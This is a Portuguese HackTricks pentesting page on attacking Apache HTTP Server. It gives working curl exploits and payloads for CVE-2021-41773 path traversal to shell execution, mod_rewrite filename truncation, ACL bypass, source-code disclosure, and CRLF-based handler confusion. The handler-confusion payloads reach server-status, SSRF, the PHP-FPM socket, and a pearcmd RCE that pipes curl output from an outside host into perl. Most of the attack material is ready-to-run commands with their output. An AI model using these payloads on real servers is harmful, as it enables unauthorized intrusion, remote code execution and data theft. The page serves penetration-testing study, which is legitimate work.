hacktricks/network-services-pentesting/pentesting-web/apache.md

15 KiB
Raw Blame History

Apache

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Extensões PHP executáveis

Verifique quais extensões estão sendo executadas pelo servidor Apache. Para procurá-las, você pode executar:

grep -R -B1 "httpd-php" /etc/apache2

Além disso, alguns lugares onde você pode encontrar essa configuração são:

/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

{% code overflow="wrap" %}

curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

{% endcode %}

Confusion Attack

Esses tipos de ataques foram introduzidos e documentados pela Orange neste post do blog e o seguinte é um resumo. O ataque "confusão" basicamente explora como os dezenas de módulos que trabalham juntos para criar um Apache não funcionam perfeitamente sincronizados e fazer com que alguns deles modifiquem alguns dados inesperados pode causar uma vulnerabilidade em um módulo posterior.

Filename Confusion

Truncation

O mod_rewrite irá truncar o conteúdo de r->filename após o caractere ? (modules/mappers/mod_rewrite.c#L4141). Isso não está totalmente errado, pois a maioria dos módulos tratará r->filename como uma URL. Mas em outras ocasiões isso será tratado como um caminho de arquivo, o que causaria um problema.

  • Path Truncation

É possível abusar do mod_rewrite como no seguinte exemplo de regra para acessar outros arquivos dentro do sistema de arquivos, removendo a última parte do caminho esperado, adicionando simplesmente um ?:

RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
  • Atribuição Enganosa do RewriteFlag

Na seguinte regra de reescrita, desde que a URL termine em .php, ela será tratada e executada como php. Portanto, é possível enviar uma URL que termina em .php após o caractere ? enquanto carrega no caminho um tipo diferente de arquivo (como uma imagem) com código php malicioso dentro dele:

RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

Bypass de ACL

É possível acessar arquivos que o usuário não deveria conseguir acessar, mesmo que o acesso deva ser negado com configurações como:

<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

Isso ocorre porque, por padrão, o PHP-FPM receberá URLs que terminam em .php, como http://server/admin.php%3Fooo.php e porque o PHP-FPM removerá qualquer coisa após o caractere ?, a URL anterior permitirá carregar /admin.php, mesmo que a regra anterior a proíba.

Confusão do DocumentRoot

DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

Um fato interessante sobre o Apache é que a reescrita anterior tentará acessar o arquivo tanto do documentRoot quanto da raiz. Assim, uma solicitação para https://server/abouth.html verificará o arquivo em /var/www/html/about.html e /about.html no sistema de arquivos. O que basicamente pode ser explorado para acessar arquivos no sistema de arquivos.

Divulgação de Código Fonte do Lado do Servidor

  • Divulgar Código Fonte CGI

Basta adicionar um %3F no final para vazar o código fonte de um módulo cgi:

curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
  • Divulgar Código Fonte PHP

Se um servidor tiver diferentes domínios, sendo um deles um domínio estático, isso pode ser explorado para percorrer o sistema de arquivos e vazar código php:

# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php

Manipulação de Gadgets Locais

O principal problema com o ataque anterior é que, por padrão, a maioria dos acessos ao sistema de arquivos será negada, como na configuração padrão do Apache HTTP Server:

<Directory />
AllowOverride None
Require all denied
</Directory>

No entanto, os sistemas operacionais Debian/Ubuntu permitem por padrão /usr/share:

<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

Portanto, seria possível abusar de arquivos localizados dentro de /usr/share nessas distribuições.

Gadget Local para Divulgação de Informações

  • Apache HTTP Server com websocketd pode expor o script dump-env.php em /usr/share/doc/websocketd/examples/php/, que pode vazar variáveis de ambiente sensíveis.
  • Servidores com Nginx ou Jetty podem expor informações sensíveis de aplicações web (por exemplo, web.xml) através de suas raízes web padrão localizadas em /usr/share:
  • /usr/share/nginx/html/
  • /usr/share/jetty9/etc/
  • /usr/share/jetty9/webapps/

Gadget Local para XSS

  • No Ubuntu Desktop com LibreOffice instalado, explorar o recurso de troca de idioma dos arquivos de ajuda pode levar a Cross-Site Scripting (XSS). Manipular a URL em /usr/share/libreoffice/help/help.html pode redirecionar para páginas maliciosas ou versões mais antigas através de RewriteRule inseguro.

Gadget Local para LFI

  • Se PHP ou certos pacotes front-end como JpGraph ou jQuery-jFeed estiverem instalados, seus arquivos podem ser explorados para ler arquivos sensíveis como /etc/passwd:
  • /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
  • /usr/share/javascript/jquery-jfeed/proxy.php
  • /usr/share/moodle/mod/assignment/type/wims/getcsv.php

Gadget Local para SSRF

  • Utilizando MagpieRSS's magpie_debug.php em /usr/share/php/magpierss/scripts/magpie_debug.php, uma vulnerabilidade SSRF pode ser facilmente criada, fornecendo um gateway para mais explorações.

Gadget Local para RCE

  • As oportunidades para Remote Code Execution (RCE) são vastas, com instalações vulneráveis como um PHPUnit desatualizado ou phpLiteAdmin. Estes podem ser explorados para executar código arbitrário, demonstrando o extenso potencial da manipulação de gadgets locais.

Jailbreak a partir de Gadgets Locais

Também é possível fazer jailbreak a partir das pastas permitidas seguindo symlinks gerados por softwares instalados nessas pastas, como:

  • Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
  • Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
  • Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
  • MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
  • SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

Além disso, abusando de symlinks foi possível obter RCE no Redmine.

Confusão de Manipuladores

Este ataque explora a sobreposição de funcionalidade entre as diretivas AddHandler e AddType, que ambas podem ser usadas para habilitar o processamento PHP. Originalmente, essas diretivas afetavam campos diferentes (r->handler e r->content_type, respectivamente) na estrutura interna do servidor. No entanto, devido a código legado, o Apache trata essas diretivas de forma intercambiável sob certas condições, convertendo r->content_type em r->handler se o primeiro estiver definido e o último não.

Além disso, no Apache HTTP Server (server/config.c#L420), se r->handler estiver vazio antes de executar ap_run_handler(), o servidor usa r->content_type como o manipulador, efetivamente tornando AddType e AddHandler idênticos em efeito.

Sobrescrever Manipulador para Divulgar Código Fonte PHP

Em esta palestra, foi apresentada uma vulnerabilidade onde um Content-Length incorreto enviado por um cliente pode fazer com que o Apache retorne o código fonte PHP. Isso ocorreu devido a um problema de manuseio de erros com ModSecurity e o Apache Portable Runtime (APR), onde uma resposta dupla leva a sobrescrever r->content_type para text/html.
Como o ModSecurity não lida corretamente com valores de retorno, ele retornaria o código PHP e não o interpretaria.

Sobrescrever Manipulador para XXXX

TODO: Orange ainda não divulgou essa vulnerabilidade

Invocar Manipuladores Arbitrários

Se um atacante conseguir controlar o cabeçalho Content-Type em uma resposta do servidor, ele poderá invocar manipuladores de módulo arbitrários. No entanto, no ponto em que o atacante controla isso, a maior parte do processo da solicitação já terá sido concluída. No entanto, é possível reiniciar o processo da solicitação abusando do cabeçalho Location porque se o Status retornado for 200 e o cabeçalho Location começar com uma /, a resposta é tratada como uma Redireção do Lado do Servidor e deve ser processada.

De acordo com RFC 3875 (especificação sobre CGI) na Seção 6.2.2 define um comportamento de Resposta de Redirecionamento Local:

O script CGI pode retornar um caminho URI e uma string de consulta (local-pathquery) para um recurso local em um campo de cabeçalho Location. Isso indica ao servidor que ele deve reprocessar a solicitação usando o caminho especificado.

Portanto, para realizar este ataque é necessário uma das seguintes vulnerabilidades:

  • Injeção CRLF nos cabeçalhos de resposta CGI
  • SSRF com controle completo dos cabeçalhos de resposta

Manipulador Arbitrário para Divulgação de Informações

Por exemplo, /server-status deve ser acessível apenas localmente:

<Location /server-status>
SetHandler server-status
Require local
</Location>

É possível acessá-lo definindo o Content-Type como server-status e o cabeçalho Location começando com /

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

Manipulador Arbitrário para SSRF Completo

Redirecionando para mod_proxy para acessar qualquer protocolo em qualquer URL:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a

No entanto, o cabeçalho X-Forwarded-For é adicionado, impedindo o acesso aos endpoints de metadados da nuvem.

Manipulador Arbitrário para Acessar o Socket de Domínio Unix Local

Acesse o Socket de Domínio Unix local do PHP-FPM para executar um backdoor PHP localizado em /tmp/:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

Manipulador Arbitrário para RCE

A imagem oficial do PHP Docker inclui o PEAR (Pearcmd.php), uma ferramenta de gerenciamento de pacotes PHP via linha de comando, que pode ser explorada para obter RCE:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Verifique o Resumo de LFI do Docker PHP, escrito por Phith0n para os detalhes desta técnica.

Referências

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Suporte ao HackTricks
{% endhint %}